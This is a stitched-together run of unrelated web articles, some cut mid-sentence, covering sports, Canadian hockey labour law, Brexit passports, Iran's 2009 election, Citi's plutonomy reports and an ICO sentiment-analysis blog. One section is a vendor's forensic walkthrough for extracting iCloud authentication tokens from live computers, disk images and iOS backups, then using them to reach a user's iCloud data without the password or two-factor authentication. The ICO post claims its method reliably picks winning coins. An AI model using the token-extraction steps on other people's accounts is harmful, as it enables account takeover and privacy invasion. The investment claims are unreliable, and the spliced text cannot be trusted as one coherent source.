This is why Australia's new PM, Malcolm Turnbull, has so far not announced any changes to the hard-line measures, even though he said he was "concerned" about the centers.The Miami Dolphins are trying to turn all stones, and today they are proving it. The team has Gerald Ford, the former Valdosta State wide receiver in for a workout. Ford missed the entire last season due to academics, but was dominate when he was on the field.
Ford certainly made a name for himself during his career at Valdosta State. While he missed the 2011 and 2013 seasons due to being academically ineligible, Ford put up monster numbers when he was on the field. In helping the Blazers to the 2012 Division II national championship, the 6-foot-3, 220-pound Ford was the best player in the Gulf South Conference. Earning GSC Offensive Player of the Year honors, the New Orleans native hauled in 69 passes for 1,026 yards and 13 touchdowns. During his freshman campaign, Ford had 41 receptions for 526 yards and four touchdowns as he was named the conference’s Freshman of the Year in 2009. A year later he caught 24 passes for 328 yards and four touchdowns.
Ford is a 6’2 wide out and has been posting forty times in the 4.4’s and 4.5’s according to his trainers. So this is a huge opportunity for Ford. Ford will come into Dolphins practice today and shine. I would not be surprised if he didn’t end up boarding a plane out of Miami.
Hey Phins fans, if you want to save money on tickets this year; Check out Ticket Monster!!!!Rick Westhead TSN Senior Correspondent Follow|Archive
Three Canadian provinces over the past two years have changed their labour code to accommodate Canadian Hockey League teams, which have sought exemptions from potentially having to pay players at least the hourly minimum wage.
Nova Scotia became the latest province to adopt such a change on July 4. Premier Stephen McNeil told reporters at a press conference he was worried that a proposed class-action lawsuit filed against the CHL in Ontario over working conditions for players threatens the future of major junior hockey.
The Halifax Mooseheads and Cape Breton Screaming Eagles of the Quebec Major Junior Hockey League (QMJHL) are based in the province.
“To be frank, we saw the class-action suit killing junior hockey in the Maritimes,” McNeil said. “The fact is that junior hockey here is important to us. We believe these changes will keep it here.
“Teams know they have the responsibilities to the players in treating them well. They’ll continue to do so… Every kid that I know would want to go play, as a matter of fact they’d pay to play for the Mooseheads.”
The change in law means that athletes who are considered employees will not have to be paid minimum wage. The exemption also includes relaxed regulations on defined hours of work, holiday and vacation pay and employment termination protections.
Athletes who are employees will still be entitled to leave of absence rights, equal pay for men and women, and protection from discrimination, the Nova Scotia government said.
Only days following the employment law change, Dave Wilson, the provincial New Democratic Party critic for labour in the province, pledged to try to overturn the exemption.
Wilson said the legal change amounted to a “backroom deal.”
“There was no public consultation about the change in law, no notice that it was being considered, or that the government was talking to the teams,” Wilson said in an interview. “I don’t believe that when the CHL teams told the government that they can’t afford to pay players minimum wage that anyone asked to see their financial statements.”
He said he also planned to investigate whether CHL team executives had registered as lobbyists before they met with government leaders to ask for the change, which also affects teams in other sports, such as the Halifax Hurricanes of the National Basketball League of Canada.
Nova Scotia labour ministry spokesman Andrew Preeper declined to address the issues raised by Wilson.
“We've provided all the information we can on this,” Preeper wrote in an email.
The 60 CHL teams are fighting a lawsuit filed in Ontario Superior Court in Toronto by former players who charge that major junior teams should be sharing more of their profits with players.
The CHL, the umbrella organization that represents the Ontario Hockey League, Western Hockey League and QMJHL, has argued that it is a development league featuring amateur student athletes.
It has also argued that if it’s required to pay damages to the players, some teams may go out of business. Moreover, the CHL says some players are also eligible for valuable scholarship programs when they finish playing junior hockey.
David Doorey, a York University law professor who is an expert in employment law, said Nova’s Scotia’s move was “sad.”
“There are lots of businesses that struggle to make a profit, but we don’t exempt them all from minimum employment standards,” Doorey said. “These standards represent the absolute minimum level of working conditions that society tolerates. If a business can’t meet even these low standards, then they shouldn’t be in business, or they should change their business model. There’s nothing special about junior hockey teams in this regard.”
Players in the QMJHL who are 16 and 17 years old are supposed to receive $35 per week, according to the league’s rulebook, the Chronicle Herald newspaper reported on July 6. Players who are 18 get $50 while 19-year-olds get $60 and those 20 and older get $150.
In April 2014, Saskatchewan changed its provincial employment laws so that teams do not have to pay players, beyond the typical $50 weekly stipends for expenses that most players receive. The province is home to five WHL franchises. In February, British Columbia, home to six WHL franchises, followed suit.
“It provides certainty to the WHL and its teams and players, and underscores B.C.’s support for amateur hockey and its economic contributions to the province,” a B.C. ministry of employment spokesman wrote in a statement.
“From time to time, stakeholders ask government for exemptions to the Employment Standards Act for certain groups and this was one of those cases. We carefully considered the WHL request as we would any other similar request. Saskatchewan, Nova Scotia and Washington State have recently granted similar exemptions that cover their WHL teams or equivalent.”
The state of Washington, home to four WHL teams, last year investigated working conditions of the teams’ mostly teenaged players and determined that it would not classify players as employees.
It's unclear if labour law amendments in Saskatchewan, B.C. and Washington State were identical to those in Nova Scotia, although Nova Scotia cited the other jurisdictions when it announced its own changes.
Saskatchewan officials met with WHL team executives, but did not require them to show evidence of their finances, Greg Tuer, executive director of Saskatchewan’s employment standards department, confirmed in an interview with TSN.
Tuer said he and his colleagues consulted with Nova Scotia officials in recent months. Tuer said he’s unaware of any WHL player in Saskatchewan lodging a complaint over working conditions.
“Complaints are usually filed by former employees who no longer fear reprisals,” Doorey said. “Why would junior hockey players be any different? The quickest way to find your butt riding the bench would be to pick a legal fight with your team’s owners. It’s naive to suggest that workers who don’t complain are happy with having their basic legal entitlements ignored.”
Most CHL teams are private companies and don't disclose their finances, although CHL president and OHL commissioner David Branch has said that roughly one-third of teams lose money. He has declined to provide any estimates on how much teams generate.
"We have said a number of times that we do not believe that our athletes are employees or governed by employment standards," Branch said in an email. "We do not think that employment laws are applicable to amateur athletes with in our league. A lot of time and focus is being diverted away from hockey to these legal matters. The recent events in Nova Scotia confirm what we always believed – that employment laws were never intended to apply to amateur athletes."
The Kitchener Rangers, who are publicly owned, play in a city with a population of 219,000. In August, the team reported total revenue of $6.4 million for the previous season, up slightly from the year before. The Rangers sold $366,981 worth of team merchandise alone during the 2014-15 season.
A study commissioned by lawyers for the former players suing the league reported CHL teams can afford to pay players and that most franchises are worth millions of dollars.
The Calgary Hitmen, the survey reported, are worth as much as $69 million. An investment banker, who requested anonymity and who specializes in sports team transactions, called the survey’s valuations “wildly aggressive.”
He said he doubts any CHL team would sell for half as much as the Hitmen’s estimated value.
“If teams in the CHL are worth as much as that survey says, I don’t think owners would mind paying players minimum wage,” the banker said.11
17 Shares
In our previous blog post, we wrote everything we know about authentication tokens and Anisette data, which might allow you to bypass the “login, password and two-factor authentication” sequence. Let us have a look at how you can actually extract those tokens from a trusted computer and use them on a different computer to access a user’s iCloud account. Read Part 1 and Part 2 of the series.
Extracting Authentication Tokens from a Live System (Windows)
Extracting authentication token from a live system is as easy as running a small, stand-alone executable file you get as part of the Elcomsoft Phone Breaker package. The tool is called ATEX (atex.exe on Windows), and stands for Authentication Token Extractor.
Using the tools is extremely simple. Make sure you are logged on under the user you’re about to extract the token from, and launch ATEX with no arguments. The file named “icloud_token_<timestamp>.txt” will be created in the same folder where you launch the tool from (or C:\Users\<user_name>\AppData\Local\Temp if there are not enough permissions).
The full path to the extracted file will be displayed in the console window. The resulting file with.txt extension contains the Apple ID of the current iCloud control panel user and its authentication token.
Extracting Authentication Tokens from Disk Images or Other Users (Windows)
While extracting an authentication token from the currently logged in user on a live system is a one-click affair, obtaining one from a forensic disk image or just from another user is significantly more complex.
The reason for this is the fact that authentication tokens are not stored in the system in plain text. Instead, they are encrypted, and you’ll have to provide path to the decryption key in order to make use of these tokens.
For extracting the token from the disk image (or another user on the same system), you’ll have to use Elcomsoft Phone Breaker.
First, open the tool and navigate to Tools – Apple, then use Extract Authentication Token.
When prompted, provide path to the token file:
Then you will have to provide path to the user’s Master Key:
After that, the token will be extracted and decrypted. You will be able to use it with EPB:
Note: detailed information about extracting authentication tokens is provided in Elcomsoft Phone Breaker user’s manual.
Extracting Authentication Tokens from macOS (Live)
In macOS, the authentication tokens are stored in the keychain. Let’s have a look at how to extract the keychain from.
You can use Elcomsoft Phone Breaker to extract the token. If you are able to access the live system with the user currently logged on, extracting macOS keychain is as easy as launching the ATEX tool:
The iCloud authentication token is stored in the resulting.plist file.
Copy the binary data and use in Elcomsoft Phone Breaker to access cloud data.
Extracting Authentication Tokens from macOS (Offline)
Extracting an iCloud authentication token from a disk image is a bit more complex.
In Elcomsoft Phone Breaker, use Tools – Extract Authentication Token command. Provide path to the login keychain (it is stored under /Users/username/Desktop/Keychain/login.keychain-db in macOS Sierra and newer; in older versions of macOS, the file name was login.keychain) and enter keychain password to decrypt. Note that the keychain password is usually (but not always) the same as the user’s login password for a given account.
The next step is providing path to the MME token:
Then finally the token is extracted:
Extracting Authentication Tokens from iOS System Backups
Did you know you can also extract iCloud authentication tokens from iOS system backups? In order to extract an authentication token from an iOS system backup, you will need all of the following:
A local (iTunes) iOS backup protected with a password (if the password is empty, you must set a temporary password before making a backup)
(if the password is empty, you set a temporary password before making a backup) DSID of the Apple account you are obtaining the token for
Elcomsoft Phone Breaker
In order to access authentication tokens, you’ll be using the Keychain Explorer function of Elcomsoft Phone Breaker. To access Keychain Explorer:
Launch Elcomsoft Phone Breaker
Tools – Apple – Keychain Explorer
Provide path to the password-protected backup
Enter the password to decrypt the keychain
You will see the following window:
The very first tab (Apple IDs) contains all sources known to us that may contain the user’s Apple ID password as well as authentication tokens. Try copying iCloud-related tokens and using them in Elcomsoft Phone Breaker to authenticate!
Note that you will also need to provide a so-called DSID, which is Apple’s internal representation of the user’s Apple ID. You can get the DSID here:
Conclusion
This article concludes the short series of blog posts about authentication tokens. You should now know how to extract and use these tokens to access information stored in the user’s iCloud account.By Brooks Sutherland
ESPN basketball insider Jeff Goodman joined Dale & Holley with Keefe on Friday to talk Markelle Fultz’s recent workout with the Celtics, the NBA Finals and LaVar Ball.
Fultz finally made it to Boston for a workout in front of the Celtics, but shooting-wise, his day may not have gone as he’d hoped. Still, Goodman, along with many others, have the Celtics taking the Washington guard with the first pick in the upcoming draft.
“From what I’m told, Fultz didn’t shoot the ball exceptionally well in his workout in Boston,” Goodman said. “But they know he can shoot the ball. So, it’s one workout. … I still think it’s gonna be Fultz at [No. 1], Lonzo Ball at [No. 2].”
Despite reports that suggest differently, Goodman also said he expects Ball to be taken by the Lakers with the second pick, citing Los Angeles general manager Magic Johnson is “enamored" by him.
“Nothing [has changed] for me,” Goodman said, “But again, I’m a little bit different. I’ve seen these kids play for so long that nothing I see from a workout, or hear from a workout is gonna change.”
Here are more highlights from the interview. For more NBA news, visit the national page.
On LiAngelo Ball’s chances to play in the NBA: "It's not like the kid is gonna play with Lonzo. He's not good enough. Now, he can shoot the ball. But to me, he's not an NBA player unless he gets significantly better and it's not gonna happen in one year."
On LaVar Ball: "I've known him for years, I like him. But there were times during the interview, it was a little bit uncomfortable. Hearing him talk about his wife, who had a stroke back in late February... just came home about two weeks ago. You know, things like, even talking about how medical people have their own suggestions for how to care for her and he'd basically say, 'No, I'm gonna do it my way.' And it sounds like, it's kind of tough love.... To try to get her back on her feet completely. To try to get her where she can talk again. And he's doing it his way, which is admirable. But his way is always a little bit unique. A little bit out of the ordinary."
On how far Celtics are away from becoming contenders: “I think about that every time you watch Golden State tear Cleveland apart. The first couple of games, you’re thinking to yourself ‘Oh my god, if Golden State is this much better than Cleveland, and Cleveland is this much better than the Celtics, how many guys away are the Celtics?’ And it shows you, they’re far away. They are absolutely far away from contending for another immediate NBA title. So, that’s where you have to look if you’re Danny Ainge, to figure out ‘How do you get there?’ Not, ‘How do you get back to the Eastern Conference finals?’ Been there, done that.”
On who is the best team ever: “I guess I would probably go with this one [2017 Golden State Warriors] right now, but I don’t feel confident about it. Again, I just don’t know if they could physically match up with some of those teams back in the day. I think they’re better than the Bulls team with Jordan, Pippen and Rodman. I don’t know. Again, it’s a tough call to make right now, because I still think the rules change how you evaluate all of these elite teams. It’s the same thing with players. You know, you put Jordan today with these rules? Like, how does anybody stop that dude? Nobody does.”
On where Jaylen Brown would be selected if hypothetically was in the upcoming draft: “I don’t know, eight? Somewhere around there. I’d say somewhere in that mix. This draft is way stronger at the top. He would not crack the top five of this draft. No chance.”European officials have warned that Britain’s new blue passports could spell travel delays and extra paperwork rather than the enhanced freedom promised by the government.
Theresa May sought to end a difficult political year on a high note on Friday by confirming the return of navy travel documents after Brexit. She said that abandoning the EU-style burgundy design introduced in 1988 was an expression of “independence and sovereignty” that reflected “citizenship of a proud, great nation”.
But as the announcement divided domestic opinion along increasingly entrenched cultural battle lines, sources in Brussels pointed out that holders of any colour of British passport could see diminished travel rights after Brexit unless there were further negotiating concessions.
One senior official said that “depending on how negotiations go on all free movement issues after Brexit” there was a significant risk that British passport holders would lose the right to use a fast-track citizens lane when travelling on the continent and may also be obliged to use a new visa waiver scheme.
The EU travel information and authorisation system (Etias) is modeled on the US Esta scheme and could require British travellers to Europe to register in advance and make a small administrative payment.
Although a chance remains for Britain to retain fast-track privileges if there is further shift in the prime minister’s red lines on immigration, British experts said this looked unlikely. “At the moment, it looks absolutely certain that we won’t be able to go through the European citizens lane because the legal code in the Schengen borders code says it is only for citizens or people with free movement rights,” said Steve Peers, a professor of law at Essex University.
Brussels sources pointed out that the tendering process for printing the new passports was likely to take place under existing EU procurement rules, something that the current British contractor, De La Rue, recently warned could mean they were produced abroad.
Despite this, the announcement was loudly cheered by Brexit supporters on Friday after a string of recent concessions from the government.
The Home Office minister Brandon Lewis told the Sun that “one of the most iconic things about being British is having a British passport”.
“You can’t be a nation unless you have this symbol,” added a jubilant Nigel Farage.
Facebook Twitter Pinterest The old blue British passport and the burgundy European Union design introduced in 1988. Composite: PR
Under a system first agreed by Margaret Thatcher’s government in 1981, Britain is not legally obliged to use the same burgundy design as most other members but agreed to do so in a joint resolution of member states in the European council.
The agreement to harmonise certain design features followed a backlash over more ambitious plans for a community-wide passport, but it also included rules to put the words “European Community” in front of the name of the member state.
Council members, including Britain’s then ambassador to the EU, Michael Butler, signed a resolution aiming to “strengthen the feeling among nationals of the member states that they belong to the same community” but left an opt-out clause that is still used today by some members such as Croatia, which also has a blue passport.
May said Britain was choosing to return to its “iconic” blue design even though the shade proposed would be significantly lighter than the near-black navy used in previous, larger, UK passports. The majority of changes since this period have been mandated by other international aviation and security agreements outside the EU and will continue to dictate the size and content of UK travel documents.
Experts stressed that the balance between national sovereignty and harmonising travel rules was more complex than changing the appearance of a passport. “The reality is that the new passports will symbolise having fewer free movement rights,” said Peers. “We will also still have to go through the slow lane even if we have non-expired [burgundy] passports. It may not be vastly more difficult, but it will be somewhat more difficult.
“It does seem odd to make a big patriotic noise about something that makes it harder for you to travel.”
Fabian Zuleeg, chief executive of the European Policy Centre, agreed that it would depend on the final EU/UK settlement as to whether it would be harder for British passport holders to travel in Europe in future. If UK citizens were treated as nationals of the European Economic Area, the EU plus Norway, Iceland and Liechtenstein, then there would be no problem. “Otherwise they could face longer queues”, though he stressed nothing was definite.
In Britain, opposition politicians rejected the prime minister’s claim that changing the colour was a victory for sovereignty.
“What utter nonsense – this belittles our country and your office,” said the Labour MP Chuka Umunna. “We’ve always been a great nation, proud to be British and of our standing in the world.”
The former Labour leader Ed Miliband added: “It is an expression of how mendacious, absurd and parochial we look to the world.”
David Lammy, the MP for Tottenham, said Brexit was “turning us into a laughing stock”. “We’re swapping the right to live and work in 27 countries for new passports,” he said. “But don’t worry, when we’re all stood in the airport for four hours we can stand in the queue and look at just how blue they are.”
Academic experts on Brexit urged remain supporters not to underestimate the power of symbolism for leave supporters. “It’s a sign of the times that the mirror image of it appealing to a certain segment of the British population is that it will be a total turn-off to the other,” said Anand Menon at King’s College London. “It’s a reflection of how divided our society is: some people just cannot compute and other people are celebrating.”
The former British diplomat Sir Simon Wall suggested it was a measure carefully targeted at a demographic group most in need of buoying up after recent concessions.
“It’s aimed at the Brexit generation. Anyone under the age of 50 will hardly remember any other passport than we have now,” he said. “It seems from her recent performance that Theresa May has belatedly grasped the fact that we need to make some pretty dramatic compromises and she needs a bit of smoke as well – this is part of that.”
European officials distanced themselves from the original decision to adopt burgundy passports, stressing it was voluntarily agreed to by member state governments. “This has nothing to do with the European commission, nothing at all,” said the spokesman Mark English.
Claude Moraes, the British Labour MEP, who chairs the European parliament’s civil liberties, justice and home affairs committee, warned that the new passports could become a symbol of what British nationals stand to lose from Brexit.
“What is being lost with the burgundy passport are the freedoms to move in the EU27 and other related freedoms,” he said. “There is every risk now that with the UK passport you will be subject to greater queus, greater checks and more inconvenience.”
The MEP, who is one of the lead negotiators for the parliament on Etias, said he was “deeply sceptical” that the EU27 would offer the UK a special deal. He said the UK would be on the other side of policies aimed at strengthening the EU’s external border, including Etias and a stronger border and coastguard agency.
“That is something people will have to get used to and the new passport will symbolise that.”#446 and #447: Aging, family, and boundaries
Dear Captain Awkward:
I’m having a bit of trouble with my parents.
To start off with, I’m in my mid-40s and have been living on my own since I was 19. My parents are in their late 60s. They’re both retired, but Dad has been volunteering his time at a local school to give him something to do. Because of this, he is not home during the day.
In the last year or so, Mom has been unable to drive, so I have taken up driving her where she needs to go when my father can’t drive her. At first this wasn’t a problem, but more recently it has become a huge headache. For starters, she has tried calling me for a ride when I am at work, which is obviously a no-go. If I try to arrange things for another time, when I am available, she gets huffy and combative and acts generally displeased the whole time we’re out. This usually results in her complaining to my father about how uncooperative I am, which gets me a phone call from Dad telling me off for not being more helpful.
I really want to help my Mom, but I have my own life to worry about and I can’t change my schedule to fit hers all the time. It’s really difficult to approach her about the subject because she gets very defensive any time I bring it up. Do you have any scripts for talking with her about it? Also something to help with Dad would be nice too.
Frustrated Daughter
I |
how to invest in ICOs. I was **overwhelmed by all the ICOs** out there and thought that there must be an objective way to start ‘filtering’ the hundreds of ICOs I was seeing pop up on a daily basis.
...Where would I even start?
...Which ICO should I Invest in?
...Which ones would be profitable?
...I had so many questions.
So this started to propel my interest to start looking for ways to weed out negative or ‘bad’ ICOs – right out of the gate.
How could I take a huge list of ICOs and immediately remove 50% of the ICOS from the list because they are poor quality? Was there a way for me to qualify the top ICOs and put them aside for secondary research?
Then it struck me that I could use social sentiment and search trend analysis to start differentiating the ‘good’ ICOs from the ‘bad’ ICOs.
I was stoked…. And super excited to start building something.
First, I had to find a reliable source of consistent ICO information. I needed to find a list of all upcoming ICOs. For this, I turned to a website called CoinGecko.com. I like CoinGecko because it is simple, clean and a straightforward way to get ICO information – that updates on a regular basis.
Here’s a quick snapshot of how CoinGecko lists out ICOs:
You can also use these sources to track all upcoming ICOs as well:
Now that I had found a reliable place to track upcoming ICOs, I had to find a sentiment analysis tool that was free, easy to use and that gave me good insight based on a keyword search – that was key.
After much digging, I found SocialMention.com – which is a like a search engine for social sentiment.
It was exactly what I was looking for.
Here is a snapshot of the Social Mention interface.
Let’s take a quick look at what signals Social Mention provides.
As mentioned previously, there are 4 core signals that Social Mention provides – Strength, Passion, Sentiment, and Reach.
…This gives a trader a significant edge over the competition.
Additional metrics can also be used to measure and trade off of, but these are the core four metrics I used. Now you see where we’re going…
Let’s quickly review the definitions of the four core metrics we’ll be using:
Strength: Strength is the likelihood that your brand is being discussed in social media. A very simple calculation is used: phrase mentions within the last 24 hours divided by total possible mentions.
Strength is the likelihood that your brand is being discussed in social media. A very simple calculation is used: phrase mentions within the last 24 hours divided by total possible mentions. Sentiment: Sentiment is the ratio of mentions that are generally positive to those that are generally negative.
Sentiment is the ratio of mentions that are generally positive to those that are generally negative. Passion: Passion is a measure of the likelihood that individuals talking about your brand will do so repeatedly. For example, if you have a small group of very passionate advocates who talk about your products or brand all the time you will have a higher Passion score. Conversely if every mention is written by a different author you will have a lower score.
Passion is a measure of the likelihood that individuals talking about your brand will do so repeatedly. For example, if you have a small group of very passionate advocates who talk about your products or brand all the time you will have a higher Passion score. Conversely if every mention is written by a different author you will have a lower score. Reach: Reach is a measure of the range of influence. It is the number of unique authors referencing your brand divided by the total number of mentions.
These were the perfect signals for this project. I was excited.
This is a snapshot of what a typical keyword search looks like. You’ll notice the strength, sentiment, passion, and reach – as defined above. This is where I started.
Here are the initial sentiment analysis results for an Altcoin called IOTA:
I also have a post about why I think IOTA is set to explode, which you can find on Steemit here.
Pretty cool… I could now see how the market is feeling about any cryptocurrency I wanted.
I then started to think about how I could use this to gain better insight into which ICOs I should invest in.
So… I then started entering the names of each of the ICOs that I was considering buying into social mention, adding them to my spreadsheet - and you’ll be surprised at what I found.
This is how I populated the information into a table:
I first built this… to get all of the data into a single place.
Now I could sort the information by signal, and started to get some interesting insights.
For example, you can start to see coins that are very popular in the social media sphere – and which ones are not.
Why is this important?
This is important because ICOs are largely bought and sold from speculators – folks that think the price of the coin is going to go way up, and that they can simple make some fast cash.
The table above gives insight into which ICOs may be popular – and thus rise in price on launch – due to momentum of it’s base of buys/traders/investors – it’s believers.
I then graphed the information like this:
This made it easier for me to visually see which ICOs had better results compared to those that did not. I could now use this information in any way that I wanted… to extract insight into which ICOs may perform better than others.
The key to the charts are to take all of the core metrics and to correlate which ICOs have the strongest results across all metrics – those are your winners. Those are the ICOs that are likely to pop and go to the moon. It’s that easy and it works.
What is the Ultimate Goal of ICOST?
The ultimate goal of this tool isn’t to guarantee that a particular ICO will launch and be wildly successful. That isn’t the point, nor the promise of this tool.
The goal of this tool is to give you (and initially myself) a better way to sift through the hundreds (and soon to be thousands) of ICOs that are launching each week. There is so much noise in the market, that this is a simple way to separate the winning ICOs from the Losing ICOs. That’s it.
If you apply these techniques with other research on any ICO – you’ll surely find some gems in the pile.
What Does it Cost to Use this Tool?
Nothing! It’s 100% absolutely free for you to use…. I only ask that you give me feedback to improve it.
To use the tool, simply go to CryptoCamacho.com/icost
Also, you’ll like need to purchase Bitcoin in order to fund your ICO investments. My exchange of choice to purchase your first Bitcoin is on Coinbase. When you buy any of those cryptocurrencies using this link, you’ll get $10 free worth of Bitcoin.
If you’ve never used Coinbase, check out my tutorial on how to buy Bitcoin here. I’ll show you how to get started and how to buy your first Bitcoin. It’s all HERE.
In Closing...
If you have never looked into using social sentiment for trading or investing, you should definitely consider it. It’s a powerful way to gain additional insights into invests – that most people have either never heard of or are not using. It’s a relatively new phenomenon that hedge funds and wall street investors are starting to adopt as part of their core strategies.
The good news is that it hasn’t even scratched the surface in the crypto world. The opportunity to use this type of data to analyze cryptocurrencies is enormous.
Hope you enjoyed this post and please leave me questions in the comments!
…and don’t forget to upvote! Thank you!
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Enjoy and questions are welcome!
-Crypto CamachoTEHRAN, Iran (CNN) -- Iran's ruling system is "going to the slaughterhouse" because of the national outrage over last week's fraudulent presidential election, the Facebook page of Iran's top opposition presidential candidate quoted him Saturday as saying.
Mir Hossein Moussavi, center, is surrounded by supporters in Tehran, Iran, on Thursday.
The post, attributed to Mir Hossein Moussavi, reasserted his call for a new election to be overseen by an independent council.
The authenticity of the message could not be established. It was posted in Farsi and translated by CNN.
The post was responding to Iran's supreme leader Ayatollah Ali Khamenei, who said in a sermon on Friday that President Mahmoud Ahmadinejad got more than 24 million votes -- nearly double the number Moussavi received.
"Eleven million votes difference? Sometimes there's a margin of 100,000, 200,000, or 1 million maximum. Then one can doubt maybe there has been some rigging or manipulation or irregularities. But there's a difference of 11 million votes. How can vote rigging happen?" he asked.
Khamenei's statement confirms a massive manipulation of the vote, according to the Facebook post attributed to Moussavi.
"If the huge volume of vote-rigging -- which has set aflame people's trust in Iran's ruling system -- is going to be used as proof for the lack of rigging, then the system is going to the slaughterhouse," the post stated. "It will also prove the incompatibility of Islam and democracy."
By reaffirming Ahmadinejad's victory, Khamenei and other Iranian authorities "are taking responsibility for what happened," the Moussavi post said.
The statement said a new election "is an absolute right and should be conducted by an independent council" because the Guardian Council -- Iran's election authority -- "has shown it's not an unbiased body."
Early Sunday (late Saturday ET), a statement attributed to Moussavi and posted on his Facebook page said, "Today you are the media, it is your duty to report and keep the hope alive."
In an earlier post on Facebook, Moussavi was quoted as saying he is preparing himself for "martyrdom" and called on his supporters to "protest" and "not go to work."
Journalist Badi Badiozamani contributed to this report.
All About Ayatollah Ali Khamenei • Mahmoud Ahmadinejad • Mir Hossein MoussaviThe last time the market was as euphoric and as complacent as it is now, was in the happy go lucky days of 2006 when every day stocks surged without a care in the world, when Lehman bankers were looking to a comfortable retirement after cashing out their stock (then trading north of $70), when the only question was which mega M&A and supermega LBO will hit next, and when the then-brand new Fed chairman Ben Bernanke said there is nothing to worry about because subprime was contained and because home prices in the US just can not possibly drop. Not surprisingly, late 2006 was also when Citigroup held its first and only Plutonomy symposium: a joyous celebration of the 0.001%, or as Citi called them, "The Uber-rich, the plutonomists who are likely to see net worth-income ratios surge, driving luxury consumption", adding "Time to re-commit to plutonomy stocks – Binge on Bling. Equity multiples appear too low, the profit share of GDP is high and likely going higher, stocks look likely to beat housing, and we are bullish on equities."
Wait what? Was there really a time 8 years before the French economist Piketty bashed (and made millions in the process) class and wealth inequality, when one of the world's soon to be most insolvent banks had a symposium in which the bank pulled a page right out of pre-revolutionary France and celebrated the world's mega rich?
Yes, and that's not all.
In a trilogy of reports authored by Citi's then head of global srategy, Ajay Kapur (who subsequently quit Citi, tried his hand at running a hedge fund, failed, went to Deutsche Bank to head the bank's Asian equity strategy, failed, and has for the past year been working at Bank of America in that pluotcracy mecca, Hong Kong), couldn't find enough words of praise to explain just how great the brave new world is, one in which the 0.1% control about half of the world's financial assets, and said, on September 29, 2006, that "we think the balance sheets of the rich are in great shape, and are likely to continue to improve."
In retrospect we now know he couldn't be more wrong, and as events just two years later proved, it required a coordinated, global multi-trilion bailout of the entire financial system (which is still ongoing), to avoid the total collapse of the balance sheets of the rich.
However, the flip side of this ongoing intervention by central banks has meant that the (merely) uber rich in 2006 have since become uberest rich, and the nascent Plutonomy of the mid 2000s has morphed into a giant monster unseen at any time before in history.
And since the class divide of society has only gotten worse, here are some of Citi's observations on Plutonomy back then, which are even more applicable now.
From Citi's September 29, 2006 report:
Plutonomy – the story so far... Over the last 20 years or so, in certain countries, the rich have been getting substantially richer. The share of the top 1% of the population of income has grown substantially in countries such as the US, UK and Canada. The countries, which apparently tolerate income inequality, are what we call plutonomy countries – economies powered by a relatively small number of rich people.... What has driven this? We see three drivers. Firstly, the bull market in financial assets – particularly equities – as inflation has fallen, has benefited those whose assets have been invested, particularly in equities as the disinflation was also accompanied by strong earnings growth as margins rose.
The current analog: the Fed-induces record breaking rally since the 666 lows hit in early 2009
Secondly, the rise of managerial capitalism, with CEO remuneration increasingly tied into EPS growth and equity performance.
Which should explain the record surge in corporate stock buyabcks. After all, yield-squeezed bondholders have to pay to make management (and activist shareholders) wealthier than ever before.
Finally, as with previous waves of plutonomy – such as sixteenth century Spain, seventeenth century Holland, Industrial Revolution Britain, the Gilded Age and the Roaring Twenties in the US – the ongoing technological revolution has generated a new wave of ultra-high net worth individuals.
... Such as a ludicrous $40 billion valuation of a taxi-alternative service or a several hundred billion market cap for yet another "cool, hip du jour" social network, all perfectly rational and which clearly have nothing to do with the endless pool of zero-cost money that VCs can recycle into perpetually unprofitable projects
To be sure, being uber-wealthy is not without its drawback. As Citi explained back in 2005, there is inflation, and then there is "inflation for the uber rich":
It's Never Been More Expensive To Be Rich... Another new data point we have is the CLEW (Cost of Living ExtremelyWell) Index from Forbes Magazine for 2005 (in our original Plutonomy note back in October, we didn’t have the latest data point for the year 2005). CLEWI is an inflation index of the cost of luxury goods. It measures such things as the cost of suite at the Four Seasons in New York (up 15% year on year) and a kilo of Imperial Beluga caviar (at US$6840, up 40% year on year). In 2005, the CLEWIndex rose 4%, while US CPI rose at 3.6%. Luxury goods still have relative pricing power. The 0.4% gap might not sound all that impressive, but bear in mind that a stronger US dollar, probably helped check this inflation rate (many luxury goods come from Europe, but the CLEWI is a measure in dollars). At any rate, the year to year fortunes of the CLEWI versus the CPI are less relevant. The long-term chart says it all (Figure 4). The most recent data point just confirms that in the search for pricing power, we’d rather be in luxury goods, than low end consumer businesses.
Surely everyone feels the pain resulting from the rising costs of living for the uber wealthy.
Sarcasm aside, the biggest question on everyone's mind is how does the current episode of peak-Plutocracy end. Back in 2005/2006 Citi saw nothing but bright skies ahead for the world's mega rich, and yet there already were ripples forming...
The risks to plutonomy Our thesis is that the plutonomists are likely to get even richer over the coming years. This could mean global imbalances get even larger, without the planet getting knocked of its axis and sucked into the cosmos. But this thesis is not without its risks. Plutonomies have existed before and they have come to an end. To this end we see four primary risks. The first, war and/or inflation.
Secondly, financial collapse.
Three, the end of the technological revolution.
Finally, political pressure to end the increase in income and wealth inequality. Looking back over time, wars have been pretty bad times for wealth. Both because of the destruction of physical assets, and/or confiscation of wealth... Global conflict/revolution on a scale that could destroy the wealth of the plutonomy countries looks to us unlikely in the short term. Secondly, financial collapse. As much of the wealth of the plutonomists is held in one shape or other in financial wealth (as opposed to land or property), the state of the financial system is important. Financial collapse, as in the Great Depression in the US, would be a serious challenge to the plutonomists. While we have worried periodically about systemic financial risk, say in the aftermath of the LTCM debacle, it is beyond us to speculate about financial collapse. This would however be a serious issue for the rich. A third challenge would be the end of the wave of technological revolution. The great plutonomy waves of previous centuries, such as the Gilded Age, the Industrial Revolution in Britain, the era of Dutch supremacy, were often associated with technological and financial progress. Economies advanced through progress, with the gains in the first instance disproportionately going to the innovator and risk takers. Were the technology revolution to dissipate, it is likely that the income gains would channel less to the top. Furthermore, technology waves are usually associated with productivity gains, which in turn tend to help keep inflation low and profit growth high. This in turn being a major source of financial wealth creation. So an end of this positive spur would be unhelpful to plutonomy. We see the current internet and communications revolution as being far from dead. Perhaps the most immediate challenge to Plutonomy comes from the political process. Ultimately, the rise in income and wealth inequality to some extent is an economic disenfranchisement of the masses to the benefit of the few. However in democracies this is rarely tolerated forever. One of the key forces helping plutonomists over the last 20 years has been the rise in the profit share – the flip side of the fall in the wage share in GDP. As plutonomists or capitalists tend to be long the profit share, they have benefited from trends like globalization and the productivity revolution, disproportionately. However, labor has, relatively speaking, lost out. We see the biggest threat to plutonomy as coming from a rise in political demands to reduce income inequality, spread the wealth more evenly, and challenge forces such as globalization which have benefited profit and wealth growth. Globalization has come in for its fair share of attack of late. And political attention on immigration and protectionism is never far from the surface. As we suggested in our note in October last year, reactionary political forces are likely to rise as globalization persists and the losers in developed economies gain in numbers. To an extent we see this happening in Europe, for example, where the rise in the profit share (fall in the wage 